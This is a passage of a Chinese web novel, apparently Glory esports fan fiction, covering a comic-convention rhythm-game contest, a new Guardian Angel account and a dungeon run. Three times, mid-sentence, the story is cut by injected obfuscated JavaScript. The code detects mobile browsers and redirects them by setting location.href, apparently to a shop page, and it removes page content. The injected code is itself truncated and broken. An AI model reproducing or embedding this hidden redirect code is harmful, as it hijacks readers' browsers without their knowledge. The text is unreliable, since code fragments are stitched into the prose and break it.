“哎呀,你也很棒啊!”夏轻禾拍拍他的肩膀,“刺客玩得那么好,意识也好!上次抢BOSS你还提醒我茯苓可能是方神呢!对了,说到这个,”她压低声音,做贼似的左右看看,“我后来不是跟方副队确认了嘛,他默认了!他还问我想不想打职业,以后接他的班呢!” 虽然夏轻禾之前就在网上跟乔一帆提过,但此刻当面说起,乔一帆还是感到震撼。“真的啊……轻禾姐,那你一定要加油!” “那必须的!”夏轻禾握拳,然后又有点蔫,“不过压力也好大……冬虫夏草啊,想想就手抖。” 一直安静吃着巧克力冰淇淋的夏茗,这时插话进来,语气带着点调侃:“方士谦啊……当年在赛场上遇到,可是个挺让人头疼的家伙。” “嗯?”夏轻禾和乔一帆同时看向她。 夏茗用纸巾擦了擦手指,回忆道:“我不是玩神枪手嘛,站位一般比较靠后。他们微草那时候,王杰希的魔术师打法神出鬼没,已经够让人捉摸不定了,后面还杵着一个方士谦。你永远不知道他的治疗技能会优先给谁,也不知道他什么时候会突然给你来一下神圣之火或者别的什么控制。他的防守范围好像特别大,总能把关键人物从我们的集火下拉回来。有时候你觉得抓住了机会,结果他的治疗就到了,或者一个圣光打就把你的关键技能给拍飞了,气得人牙痒痒。” 她笑了笑:“我记得有一场,我们嘉世好不容易把王杰希逼到死角,眼看就能带走了,结果方士谦的冬虫夏草不知道从哪里冒出来,一个精准的催眠控住了我们补刀的人,然后刷刷两个大治疗,硬是把王杰希从残血给奶了回来。那场比赛后来我们就输了。赛后复盘的时候,叶秋还专门分析了方士谦那几个时机的选择,说他对战局的阅读能力已经不只是治疗的范畴了。” 夏轻禾听得入神,眼睛发亮。原来在姐姐和那些大神眼里,方副队是这样的存在啊。不只是加血,而是能左右战局的关键人物。 “所以啊,”夏茗看着妹妹,“他能看中你,愿意花时间教你,说明你身上确实有他看重的东西。压力肯定有,但这也是机会。好好跟着学吧,这家伙虽然场上讨人厌,但教徒弟应该不会藏私。” “姐!你怎么能说我老师讨人厌!”夏轻禾立刻维护起来,“方副队人可好了!” 夏茗忍俊不禁:“好好好,你老师天下第一好。我就是说说当年的赛场感受嘛。” 乔一帆也听得心潮澎湃,默默咬了一口冰淇淋。这就是顶尖选手的世界啊……他看了看身边活力四射、对未来充满憧憬的夏轻禾,又看了看气质沉静、曾经也站在那个舞台上的夏茗,心里暗暗下定决心,自己也要更加努力才行。 夕阳西下,游乐园的灯光陆续亮起,又是一番别样景致。三人又去坐了摩天轮,从高空俯瞰城市的夜景,最后才意犹未尽地离开。 地铁站分别时,乔一帆很认真地对夏轻禾和夏茗道谢:“谢谢轻禾姐,谢谢夏茗姐,今天我玩得很开心。” “客气什么!下次再一起玩啊!”夏轻禾挥手。 “路上小心。”夏茗也笑着点头。 回去的路上,夏轻禾靠在姐姐身边,很快就睡着了。 8. 第 8 章 假期的最后一天,阳光依旧热烈。夏轻禾一早就显得有点坐立不安,在客厅里转悠了好几圈,终于忍不住凑到正在看书的夏茗身边。 “姐……今天天气真好哈?”她没话找话。 夏茗从书页上抬起眼,推了推眼镜,好整以暇地看着妹妹:“想出去玩就直说,今天想去哪儿?” “嘿嘿,”夏轻禾笑嘻嘻地蹭过来,“我听说今天XX会展中心那边有个挺大的漫展,好像还有电竞相关的展区……我们去逛逛?” “漫展?”夏茗合上书,想了想,“行啊,反正今天也没别的事,陪你去玩玩。” 姐妹俩简单收拾了一下就出了门。会展中心门口果然人头攒动,排着长长的队伍,空气中弥漫着兴奋的嗡嗡声和各种角色扮演服装的布料气味。检票入场后,眼前豁然开朗,巨大的场馆里分区明确,动漫、游戏、周边、签售、舞台表演……琳琅满目。 夏轻禾像是进了米缸的老鼠,眼睛都不够用了。她拉着夏茗在各个展位间穿梭,看到喜欢的动漫周边会停下来看看,遇到精致的cosplay也会小声惊叹。不过,正如她之前隐约猜到的那样,场馆里最引人注目的、coser最多的,毫无疑问是属于荣耀的角落。 那边有扛着巨大战矛、发型模仿得惟妙惟肖的战斗法师,有手持光剑、一身蓝白队服摆着酷酷姿势的剑客,有戴着兜帽、手持法杖的元素法师,甚至还有几个穿着牧师袍和守护天使板甲的治疗职业coser,引得不少人驻足拍照。 “不愧是荣耀。”夏茗也看得颇有兴致,点评道,“这群众基础,真是没话说。那边那个战斗法师,战矛做得还挺逼真。” 两人逛着逛着,来到一个相对独立的展区,这里搭着一个小舞台,背景板上是绚丽的音乐游戏画面和赞助商logo。舞台下方围了不少人,大多是年轻面孔,正仰头看着舞台上方的大屏幕。动感的音乐和按键音效不断传来,原来这里正在举办一场音游比赛。 “过去看看?”夏轻禾拉着夏茗挤了过去。她最近确实也在玩这款挺火的音乐节奏游戏,偶尔手痒会打两把,不过水平只能算比一般人厉害。 台上此刻有三个人正在比赛,大屏幕上同步显示着他们的操作界面和分数。歌曲难度不低,各种颜色的音符像瀑布一样落下,看得人眼花缭乱。三个人都全神贯注,手指在设备上飞快敲击,但明显能看出其中两人有些吃力,漏掉了不少音符,只有最右边那个穿着简单黑色T恤的男孩,动作看起来异常流畅稳定。 “喔,这个厉害。”夏轻禾小声说。她玩过这游戏,知道这种速度和密集度的谱面有多难跟。 很快,一曲结束。大屏幕显示出成绩。另外两人分数平平,而那个黑衣男孩的成绩条几乎顶满了,后面跟着一个耀眼的“S”评级和“Fullbo”的标志。 台下响起一阵小小的惊呼和掌声。主持人走上台,显然是准备采访一下选手,搞搞气氛。他把话筒递给了那个成绩最好的黑衣男孩。 “恭喜恭喜!这位选手表现太出色了!来,跟大家介绍一下自己吧?”主持人热情洋溢。 聚光灯打在男孩身上。他看起来年纪不大,留着清爽的短发,脸庞轮廓分明,眉宇间带着点少年人特有的锐气,但此刻表情却有点……茫然和不自在。他接过话筒,沉默了两秒钟,似乎在组织语言,然后才用清晰但没什么起伏的语调开口: “我叫刘小别。是被朋友硬拉来参加的。”他顿了一下,似乎在陈述一个客观事实,“其实我连音游都没怎么玩过。但我朋友说,我的手速和反应,不打音游很可惜,非要我来试试。” 这话一出,台下顿时一片哗然。没怎么玩过?第一次打?就打出Fullbo的S评级?这什么神仙手速和反应? 主持人也愣了一下,随即更兴奋了:“哇!原来是隐藏的高手!第一次玩就这么厉害,看来朋友说得没错啊!那接下来就是我们的挑战环节了,选手可以自选一首最高难度的曲目进行表演赛,刘小别选手,有没有信心?” 刘小别看了看主持人,又看了看台下乌泱泱的人群,似乎有点想溜,但最终还是点了点头:“……行吧。” 大屏幕上曲目列表滚动,最终停在了一首封面上标着鲜紫色骷髅头标志、名字一看就透着“不好惹”气息的歌上。台下懂行的观众已经倒吸凉气,议论纷纷。 “地狱难度紫色级别的!” “这谱面是人打的吗?我连一半都活不过去!” “刚才那首红色已经是高难了,这首紫色是最高难度里的变态级了吧?” “看看这大神能打成什么样……” 音乐前奏响起,带着一种压抑而狂暴的节奏感。屏幕上,瀑布般落下的不再是普通颜色的普通音符,而是混杂了红色、紫色、需要同时按压、长按、滑动等各种复杂操作的特殊音符,速度快得几乎连成一片虚影。 刘小别站在操作台前,脸上那点不自在消失了,取而代之的是一种专注。他微微蹙眉,盯着屏幕,手指虚放在感应区。 当第一个音符落下的瞬间,他的手指动了。 快!快到几乎看不清具体的敲击动作!只能看到一片手指的残影在感应区上方闪烁,精准地迎上每一个落下的音符。劈啪作响的敲击声连成一片密集的鼓点,与狂暴的背景音乐奇异地融合在一起。 他身体几乎没什么大动作,只有手腕和手指在高速运动,稳定得可怕。那些让普通玩家望而生畏的红色长按、紫色滑动,在他手下仿佛变成了最简单的单点,轻松写意地一一化解。大屏幕上的连击数疯狂上涨,判定区几乎全是完美的“Perfect”闪烁。 台下的观众从一开始的惊呼,到后来的屏息凝神,再到连惊呼都发不出来,只剩下目瞪口呆。夏轻禾也看傻了,嘴巴微微张开。这手速……这反应……这稳定度……简直非人类啊!她玩这游戏,碰到这种紫色谱面,虽然能坚持完成,但是完全不可能完美连击。可在这个刘小别手里,这变态难度的曲子好像……特别简单? 夏茗也看得啧啧称奇,低声对身边的妹妹说:“这手速和动态视力,好厉害啊……是不是专门练过……哎?”她话没说完,一转头,身边已经空了。夏轻禾不知道什么时候不见了踪影。 夏茗四处张望,终于在人群外围看到了妹妹的身影——那丫头正猫着腰,灵活地从人群缝隙里往舞台侧面钻,目标明确地朝着后台方向溜去。夏茗无奈地摇了摇头,这风风火火的性子。 舞台上,一曲终了。最后一个音符完美击打,大屏幕上炸开绚烂的特效,硕大的“PERFECT FULLBO”金色字样缓缓浮现,下方是几乎满格的分数条和一个闪闪发光的“SSS”最高评级。 静默了一瞬,然后掌声和欢呼几乎要掀翻屋顶。太震撼了!地狱难度,完美全连!这已经不只是技术好了,这简直是天赋碾压! 主持人激动得声音都变了调,冲上来想要采访。刘小别却只是平静地放下手,只是稍微喘了一下,脸上又恢复了那副“好像也没什么挑战性嘛”的平淡表情,甚至隐隐带着点“总算结束了可以走了吧”的不耐烦。他朝台下和主持人简单点了点头,就快步走下了舞台,显然不想再多待。 夏轻禾就是在这个时候,成功溜到了后台附近,正好堵住了准备开溜的刘小别。 “等一下!刘小别同学!”她喊了一声,快步跑到对方面前。 刘小别停下脚步,有些疑惑地看着这个突然冒出来的陌生女孩。女孩看起来和他年纪相仿,眼睛很亮,此刻正用一种混合着崇拜、兴奋和急切的眼神盯着他,让他有点不太适应。 “你、你好……”夏轻禾平复了一下因为跑动和激动而有些急促的呼吸,开门见山,“你刚才打得实在太厉害了!那个紫色谱面的歌,我练了好久都连击不了,你能不能……帮我也打一次?就一次!”她的请求直白得近乎莽撞,但语气里的真诚和崇拜毫不作伪。 刘小别被这突如其来的、火力十足的夸奖和请求弄得一愣,脸上迅速爬上一丝可疑的红晕。他训练之外的时间大多宅着打游戏或者自己加练,很少被女孩子这么直接地、眼睛发亮地盯着夸“好厉害”。他有些不自在地移开视线,摸了摸后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029046|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈,但还是点了点头。 “……行。就一次。”他的声音比台上采访时更低了一些。 “太好了!谢谢谢谢!”夏轻禾立刻从随身的小包里掏出自己的手机,迅速打开,调出那首让她咬牙切齿的紫色等级的歌,双手捧着递到刘小别面前,眼神充满期待。 刘小别接过手机,手指习惯性地在按键上轻轻摩挲了一下,似乎在寻找手感。然后,他低下头,目光锁定屏幕。 音乐再次响起,狂暴的节奏充斥耳膜。夏轻禾紧张地凑在旁边看。只见刘小别的手指又一次化作残影,精准无比地敲击、滑动、长按。连击数飞速上涨,血条稳如泰山。 歌曲结束后,通关动画弹出。SSS评级,完美全连。 “哇——!”夏轻禾发出一声由衷的赞叹,接过手机,看着屏幕上金光闪闪的成就解锁提示,高兴得差点跳起来,“太强了!你真的太强了!刘小别你简直就是音游之神!” 刘小别被她夸得耳朵更红了,轻咳一声:“也、也没什么。主要是手速和反应快点。” “这可不是快一点的问题!”夏轻禾宝贝似的收起掌机,忽然想到什么,眼睛更亮了,“对了,刘小别,你打不打荣耀?就那个最火的游戏!” 刘小别点点头:“打。” “玩什么职业?” “剑客。” “我就说嘛,”夏轻禾一拍手,兴奋道,“你这手速,这反应,不打剑客简直太浪费了!剑客多帅啊!刷刷刷的!你是不是也玩得特别好?” 刘小别被她的热情感染,脸上也露出一丝淡淡的笑意,带着点少年人的自信:“还行。在训练营里,手速方面还算有点优势。” “训练营?”夏轻禾捕捉到关键词,“你是哪个战队的训练营?” “微草。” “微草?!”夏轻禾眼睛瞪圆了,“我也是微草训练营的!我怎么没见过你?哦对,我是牧师那边的……你叫刘小别?我叫夏轻禾!我们加个企鹅吧?以后有机会一起组队下本啊!我牧师玩得还可以,保证奶得住你这种手速狂人!” 这突如其来的“同门”关系让两人之间的距离瞬间拉近了不少。刘小别也露出些微惊讶的表情,随即点头:“好。”两人拿出手机,迅速交换了联系方式。 等夏茗顺着人流找过来时,看到的就是自家妹妹正和一个陌生男孩相谈甚欢,主要是夏轻禾在说,男孩在听,偶尔点头,还互相扫了二维码的场景。 “轻禾。”夏茗喊了一声。 “姐!”夏轻禾回头,高兴地介绍,“这是我刚认识的朋友,刘小别!他也是微草训练营的,玩剑客,手速超变态!刚才就是他帮我过了那个超难音游关!” 夏茗对刘小别点了点头,算是打过招呼,然后看着自家妹妹那副“捡到宝了”的兴奋模样,心里好笑又无奈。这丫头,逛个漫展都能拐个同门回来,社交能力也是没谁了。 “时间不早了,该回去了。”夏茗提醒道。 “哦哦,好!”夏轻禾这才反应过来,对刘小别说,“那我们网上聊!有空一起打荣耀啊!” “嗯。”刘小别点点头,看了看夏茗,又看了看夏轻禾,犹豫了一下,还是低声补充了一句,“那个……游戏,以后有卡关的,也可以找我。” “好!一言为定!”夏轻禾笑得眉眼弯弯。 回去的地铁上,夏轻禾还沉浸在认识新“大神”的兴奋中,叽叽喳喳地跟夏茗说着刘小别那惊人的手速和反应。“姐,你看到他打音游没?那手都快出残影了!他玩剑客肯定也超厉害!微草训练营真是藏龙卧虎啊!” 夏茗听着妹妹的絮叨,笑着摇摇头。年轻人之间的友谊,有时候就是这么简单直接,因为一个游戏,一次出色的表现,就能迅速建立起来。看着妹妹活力满满的样子,她觉得这个假期,过得还真是不错。 而夏轻禾心里已经开始盘算,明天回归训练后,要怎么跟方副队“汇报”她假期“发掘”到的人才,虽然人家已经是训练营的了。以及,什么时候能拉上刘小别一起,在荣耀里试试她的进攻型牧师和手速变态剑客的组合效果。 9. 第 9 章 假期的余温似乎还残留在夏日的晨风里,但微草俱乐部训练室的门,在清晨七点半就被推开了。 夏轻禾背着她那个塞得鼓鼓囊囊的双肩包,脚步轻快地走了进来。训练室里空空荡荡,只有中央空调送风的低鸣和几台待机电脑屏幕微弱的光。她熟门熟路地走到自己常坐的位置,放下包,拿出水杯接满水,又把方士谦给她的那个装着学习资料的U盘插在电脑上,然后才坐下,双手托腮,眼睛亮晶晶地望着门口,像只等待投喂的、充满期待的小动物。 大约过了二十分钟,训练室的门再次被推开。方士谦手里拿着杯豆浆,胳膊下夹着个文件夹,走了进来。他看到已经端坐在那里的夏轻禾,明显愣了一下,脚步顿了顿。 “这么早?”方士谦走到自己的位置,放下东西,看了看墙上的挂钟,“我以为你至少会睡个懒觉。”他语气带着点调侃,但眼神里有点惊讶。 “睡不着!”夏轻禾立刻坐直身体,语气兴奋,“方副队,我跟你说,我假期遇到一个特别厉害的人!绝对是打荣耀的好苗子!” “哦?”方士谦拉开椅子坐下,拧开豆浆喝了一口,好整以暇地看着她,“说说看,怎么个厉害法?让你一大早就跑来报喜。” “手速!那手速快得简直了!”夏轻禾比划着,试图用肢体语言描述那种速度,“我在漫展看到一个音游比赛,有个男孩,叫刘小别,看着跟我们差不多大,第一次玩那个音游,直接就把最高难度的红色地狱谱面给打穿了!完美全连!SSS评级!那手指在屏幕上都快出残影了!我凑近了看都看不清他怎么按的!” 她语速飞快,脸因为激动而有些泛红:“而且你知道吗?他后来告诉我,他也是咱们微草训练营的!玩剑客!你说,这手速,这反应,玩剑客不是正好吗?刷刷刷的快剑,多帅啊!我觉得他以后肯定特别厉害!方副队,咱们训练营真是卧虎藏龙啊!” 方士谦耐心地听着她叽里呱啦说完,脸上露出一点无奈又好笑的表情。他放下豆浆,用手指轻轻敲了敲桌面:“停,停。先喘口气,慢慢说。” 夏轻禾这才意识到自己有点过于亢奋了,不好意思地笑了笑,端起自己的水杯喝了一大口。 “刘小别是吧?”方士谦回忆了一下,“剑客那边的新人,我有点印象。王队提过一句,说他手速天赋确实很突出,但战术意识和经验还需要打磨。是个不错的苗子。” “对吧对吧!”夏轻禾得到肯定,更来劲了,“我就说他厉害!” “嗯,是挺有潜力。”方士谦点点头,话锋一转,“不过,轻禾,这事先不急。训练营每个有天赋的队员,战队都会关注和安排相应的训练计划。你现在要做的,不是当星探,而是抓紧时间提升你自己。” 他拉开抽屉,从里面拿出了一张看起来崭新的账号卡。账号卡是深蓝色的底,边缘有精致的银色纹路,和之前给她的防风账号卡样式相似,但仔细看花纹略有不同。 “给你的。”方士谦把账号卡推到夏轻禾面前,“为了让你更快熟悉守护天使的操作手感和技能体系,这是我让人准备的。一张没有使用过技能点的满级守护天使账号卡。装备是目前能找到的、比较适合守护天使的顶级紫装和少量橙装,虽然不是银装,但属性搭配都经过考量,足够你现阶段练习和适应。” 夏轻禾的眼睛一下子瞪大了,她小心翼翼地拿起那张账号卡,指尖感受着卡片的质感,又看看方士谦,有点不敢相信:“给……给我的?专门准备的?” “不然呢?”方士谦笑了笑,“总不能一直让你用防风或者普通小号。用适合自己的、属性好的账号练习,才能更好地体会职业特性和技能效果。账号绑定你的身份信息了,以后就是你的练习号。当然,冬虫夏草和防风还是战队的核心财产,不能随便动。这个云帆,你可以自由支配,加点、装备调整,都按你自己的理解来。” “谢谢方副队!”夏轻禾紧紧攥着账号卡,感觉心情十分澎拜,方副队为她考虑得实在太周到了。 “先别急着谢。”方士谦指指电脑,“登录看看,熟悉一下。加点方案我建议你先参考防风,但也可以根据你自己的理解微调。守护天使的技能树和牧师有区别,有些偏防御和团队辅助,有些则带一定的控场或攻击效果。怎么取舍,怎么形成你自己的技能循环,需要你花时间琢磨。” “明白!”夏轻禾用力点头,立刻将账号卡插入读卡器,登录游戏。 屏幕亮起,一个身着银灰色精致板甲、背负着略小于防风但同样气势不凡的十字架的守护天使角色出现在主城,ID云帆。夏轻禾先点开属性面板和装备栏看了看,果然如方士谦所说,装备都是顶尖的紫装,有几件关键部位的橙装属性也非常亮眼,附加的体力、防御、治疗强化效果都很实用。 接着,她点开了技能树界面。守护天使的技能图标大多显得厚重而坚实,与牧师技能那种圣洁轻灵的感觉不同。她之前研究过方士谦的防风账号的公开加点,对几个核心大招和被动技能的取舍有印象。 她移动鼠标,先按照常规思路,将圣盾术、坚定意志、生命激活、天使威光、净化这几个核心的防御、减伤、治疗、控场、驱散技能点满。这些都是守护天使立足的根本。 点完这些,技能点还剩下不少。夏轻禾托着下巴,盯着技能树上剩余的那些图标。有增加普通攻击伤害和仇恨值的正义之锤,有短时间提升自身格挡率的壁垒,有对前方扇形区域造成伤害并附带短暂眩晕的惩戒之击,还有一个被动技能不屈,效果是生命值低于一定百分比时,短时间内大幅提升防御力和受到的治疗效果。 她的目光在这些技能上游移。方副队说可以按自己的理解来……她想起自己玩牧师时总忍不住想“做点什么”的心情,又想起方士谦用防风在赛场上顶在前排、为队友创造机会的画面。 如果是我……夏轻禾抿了抿唇,手指移动鼠标,将剩下的技能点,大部分投向了惩戒之击和正义之锤,将这两个技能也点到了当前等级能点的最高级。同时,把不屈这个被动也点满了。至于壁垒,她只点了一级,觉得暂时够用。 她的想法很简单:守护天使本身够硬,核心保命和团队技能已经点满。那么,在保证生存和团队作用的前提下,为什么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029047|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让自己多一点控制和骚扰能力呢?惩戒之击的扇形眩晕,关键时刻也许能打断对手节奏;正义之锤提升的普通攻击伤害和仇恨,在需要自己吸引火力或者补刀时可能有用;不屈则是增加绝境下的翻盘可能。 点完技能,夏轻禾看着自己搭配出来的技能树,满意地点了点头。虽然可能不够“正统”,但感觉……很符合她夏轻禾的风格。 “点好了?”方士谦的声音从旁边传来,他不知何时也登录了游戏,似乎在处理公会的事务。 “嗯!点好了!”夏轻禾兴奋地说,“方副队,我想先去试试手感!打个小怪什么的!” “去吧。注意技能衔接和公共冷却,有boss的话会喊你来的。”方士谦点头同意。 夏轻禾操作着云帆,兴冲冲地跑向主城外的低级练级区。虽然账号满级,但用来熟悉技能打打小怪正合适。她选中一只看起来傻乎乎的野猪,抡起十字架就冲了上去。 先来个正义之锤,十字架带着风声砸在野猪头上,跳出的伤害数字比预想中高一点。野猪吃痛,反身冲撞。夏轻禾不闪不避,直接开启坚定意志,硬吃下这次攻击,血量几乎没怎么掉。 接着是惩戒之击,十字架横扫,带起一片扇形光晕,野猪头上冒出一个小星星,陷入了短暂的眩晕。 趁它晕着,接两下普通攻击。圣盾术?算了,打个小怪用不着。生命激活给自己挂上,看着血量缓慢恢复。 嗯……手感不错!板甲职业的沉重感和技能释放的力量感,确实和牧师那种轻盈灵动截然不同。惩戒之击的眩晕效果虽然时间短,但用起来挺顺手。 就在她跟第二只野猪较劲,试验不同技能组合时,屏幕右下角突然弹出了一个好友申请。 申请人ID:横刀。职业:狂剑士。附加消息:兄弟,70级沼泽遗迹副本,四等一,缺个靠谱治疗,看你在附近,有兴趣吗?效率队。 夏轻禾看了一下自己的位置,确实离那个副本入口不远。她本来想拒绝,毕竟刚拿到新账号,还想多熟悉一会儿。但转念一想,实战不就是最好的熟悉吗?而且对方态度挺客气,叫“兄弟”估计是看她这守护天使的硬朗形象先入为主了。 她看了一眼旁边还在忙碌的方士谦,心想:方副队说过要多实战。下个副本,还是低等级的,应该没问题吧?正好试试云帆在团队里的表现。 于是,她移动鼠标,点击了“同意”。 好友添加成功。几乎同时,一个组队邀请就发了过来。 夏轻禾点了接受。队伍列表里立刻出现了四个头像:队长就是那个狂剑士横刀,另外还有一个元素法师冰火两重天,一个拳法家铁拳无敌,一个刺客暗影随行。加上她这个守护天使云帆,职业搭配还算均衡。 横刀:云帆兄弟,进本了!准备好了吗? 云帆:好了。 横刀:走起! 队伍传送进入副本。阴暗潮湿的沼泽气息仿佛透过屏幕传来,背景音乐带着诡异的窸窣声。夏轻禾打起精神,操作着云帆跟上队伍。 希望别拖后腿啊。她心里暗暗想着,握紧了鼠标。 10. 第 10 章 潮湿阴冷的沼泽气息弥漫在空气里,高大的、散发着腐败气味的蕨类植物遮蔽了大部分光线,只有零星几点诡异的荧光蘑菇提供着微弱的照明。脚下是松软泥泞的地面,踩上去发出咕叽咕叽的声音。 夏轻禾操作着云帆,这个崭新的、属于她的守护天使角色,紧跟在队长横刀的狂剑士身后。队伍里的元素法师冰火两重天和刺客暗影随行走在中间,拳法家铁拳无敌殿后。五个人组成标准的推进阵型,小心地清理着路上游荡的、由腐烂植物和淤泥构成的沼泽怪物。 “前面三只腐泥怪,仇恨范围重叠,云帆兄弟,准备接怪!”横刀的声音从耳机里传来,是个听起来很爽朗的年轻男声,带着清晰的指挥节奏。 横刀一个冲锋,率先砍向最近的一只腐泥怪。几乎同时,夏轻禾操作云帆一个滑步上前,十字架向前一指,挑衅技能的光环瞬间笼罩了三只怪物。腐泥怪们丑陋的身体一顿,立刻放弃了横刀,转身朝着这个胆敢挑衅它们的板甲治疗扑来。 “不错不错,仇恨很稳啊,输出上!”横刀赞了一声,手中重剑挥舞,带起一片血光。元素法师的火球和冰锥也开始呼啸,刺客身影一闪,出现在怪物背后。 夏轻禾不慌不忙。面对三只普通小怪的扑击,她甚至没有开启圣盾术。守护天使的板甲提供了坚实的防御基础,加上坚定意志带来的防御提升,腐泥怪软塌塌的触手拍打在身上,只掉了一丝血皮。她手中十字架一抡,普通攻击接上正义之锤强化过的一击,砰地一声砸在一只腐泥怪身上,伤害不错,仇恨也拉得稳稳的。 十字架横扫,一个惩戒之击带起一片扇形的圣洁光晕,三只腐泥怪头上同时冒出小星星,陷入了短暂的眩晕。虽然时间很短,但足够队友安全输出一轮。 “控得漂亮!”横刀喊道,趁机又是一记势大力沉的崩山击。 夏轻禾没停手,一边注意着自己的血线,一边给血量稍微危险了一点的横刀丢了一个恢复术。每秒一次的持续回复立刻开始生效。她又顺手给被腐泥怪溅射到的元素法师也套了一个。 “云帆兄弟挺稳啊!这仇恨拉得,这控制给的,还会照顾队友血线!可以可以!”横刀一边砍怪一边在语音里夸个不停,“比之前遇到的那些要么不敢上前要么乱开技能的守护天使强多了!” 夏轻禾听着夸奖,心里有点小得意,但更多的是专注。她时刻注意着技能冷却和公共冷却时间,在怪物眩晕结束、即将发动攻击的瞬间,一个恰到好处的圣光打拍出,将一只腐泥怪喷吐的毒液弹直接打飞,避免了队友吃到额外的伤害和中毒效果。 “圣光打时机也好!”横刀简直要化身夸夸群主,“兄弟练过吧?这预判!” 三只腐泥怪很快在集火下变成经验值和几件垃圾材料。队伍继续前进。 接下来的几波小怪,夏轻禾越来越得心应手。她发现守护天使这个职业,确实比牧师更适合她某些“不安分”的想法。牧师需要时刻注意自己的脆皮身板,站位必须谨慎。但守护天使,只要不是被BOSS级怪物集火或者吃了致命技能,完全可以顶在前面,用身体为队友创造输出空间。 她开始尝试更激进的走位。比如在横刀拉住一群小怪后,她操作云帆直接走到怪物堆侧面,一个惩戒之击拍晕一片,然后接两下普通攻击,再从容退回来,过程中还能抽空给队友刷个恢复术。或者看到刺客暗影随行试图背刺某个远程怪时,她提前一个挑衅把旁边可能干扰的怪物引开。 坦度够高,让她不用担心被秒,可以更专注于战场局势和技能衔接。既能扛,又能奶,还能提供不错的控制和骚扰。这种感觉……太棒了!夏轻禾眼睛发亮,感觉自己摸索到了一点属于守护天使的、独特的节奏。 “前面就是一号BOSS,沼泽巨鳄。”横刀的声音将夏轻禾从兴奋中拉回,“注意点名喷毒和扫尾。云帆兄弟,你主T?” 夏轻禾看了一下队伍配置,横刀是狂剑士,虽然有输出也有一定硬度,但毕竟不是专业T。拳法家铁拳无敌似乎装备一般。自己这个守护天使,装备顶尖,技能也点了不少防御向的,看起来确实是最适合扛BOSS的。 “我来。”她在频道里打下字。 “好!其他人听我指挥,集火打背,注意躲技能!”横刀也不啰嗦。 沼泽巨鳄是一头体型庞大、披着厚重泥铠的怪物,趴伏在沼泽深处的一片空地上。夏轻禾操作云帆,一个滑步挡在巨鳄和横刀之间,手中十字架重重顿地,挑衅光环亮起。 巨鳄的仇恨立刻被转移,猩红的眼睛盯上了这个敢于挡在它面前的“小不点”。它张开巨口,一股墨绿色的毒液喷射而出! 夏轻禾不闪不避,直接开启圣盾术!晶莹的光盾瞬间笼罩全身,毒液喷在光盾上,滋滋作响,却没能造成任何伤害。光盾持续时间内,她免疫了这次攻击。 “输出!”横刀喊道。元素法师的火球和刺客的匕首立刻开始往巨鳄背上招呼。 夏轻禾顶在巨鳄面前,手中十字架抡起,普通攻击夹杂着正义之锤,稳稳地建立着仇恨。巨鳄的物理攻击拍打在板甲上,发出沉闷的响声,血量缓慢下降,但在恢复术和生命激活的双重作用下,加上她本身的高防御,压力并不大。 巨鳄血量下降到百分之八十,突然身体一旋,粗壮的尾巴带着风声横扫而来!这是范围技能,很难完全躲开。 夏轻禾反应极快,在尾巴扫来的瞬间,取消了正在进行的普通攻击后摇,一个后跳小位移,同时十字架横在身前。砰!圣光打与鳄尾碰撞,虽然没能完全打飞这次横扫,但明显抵消了部分力道和伤害,她只掉了大约百分之十五的血量,而身后的队友因为她挡了一下和及时提醒,都成功躲开了扫尾范围。 “漂亮!”横刀忍不住又夸,“这应对!云帆兄弟绝对老手!” 夏轻禾全神贯注,计算着BOSS的技能间隔和自身技能冷却。圣盾术留着应对喷毒和可能的其他高伤技能,圣光打用来处理扫尾和普通的撕咬,惩戒之击在BOSS释放完技能后的僵直期用来补控制和伤害,恢复术和生命激活保证自己的血线健康,偶尔还能抽空给被溅射到的队友奶一口。 她的守护天使在巨鳄面前辗转腾挪,虽然移动速度不快,但每一个走位和技能释放都目的明确,硬生生把这个皮糙肉厚的BOSS扛得死死的。横刀指挥得也越来越顺畅,队伍输出环境极佳。 终于,在一声不甘的哀嚎中,沼泽巨鳄庞大的身躯轰然倒地,爆出一地材料和几件蓝装。 “搞定!”横刀松了口气,笑道,“云帆兄弟,给力啊!这T当得,稳如泰山!还附带治疗和控制,咱们这趟副本效率太高了!” 队伍里其他几人也纷纷在队伍频道打字夸奖。 夏轻禾也挺开心,第一次用云帆下副本,感觉不错。她清了清嗓子,开麦回应,声音清脆,带着点完成挑战后的轻松笑意:“大家配合得好。继续下一个?” 耳机里忽然安静了一瞬。 然后,横刀的声音带着十二万分的惊讶响了起来,音调都拔高了几分:“我……我去?云帆兄弟……你、你是女的?!” 夏轻禾被他这反应逗乐了:“对啊,我没说我是男的吧?是你一直叫我兄弟。” “我……我那不是看你玩男号,还玩守护天使玩得这么彪悍,直接默认了吗!”横刀的声音有点窘迫,但很快又恢复了爽朗,哈哈笑道,“抱歉抱歉!妹子,厉害啊!真没看出来!玩得比很多男玩家都猛!” “谢谢夸奖。”夏轻禾笑了笑,“还继续吗?” “继续!当然继续!有妹子大神带,求之不得啊!”横刀立刻道,“走走走,清小怪,去二号!” 接下来的副本推进更加顺利。横刀指挥依旧清晰,但和夏轻禾的交流明显多了起来,语气也更……活跃了?大概是得知队友是女生后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 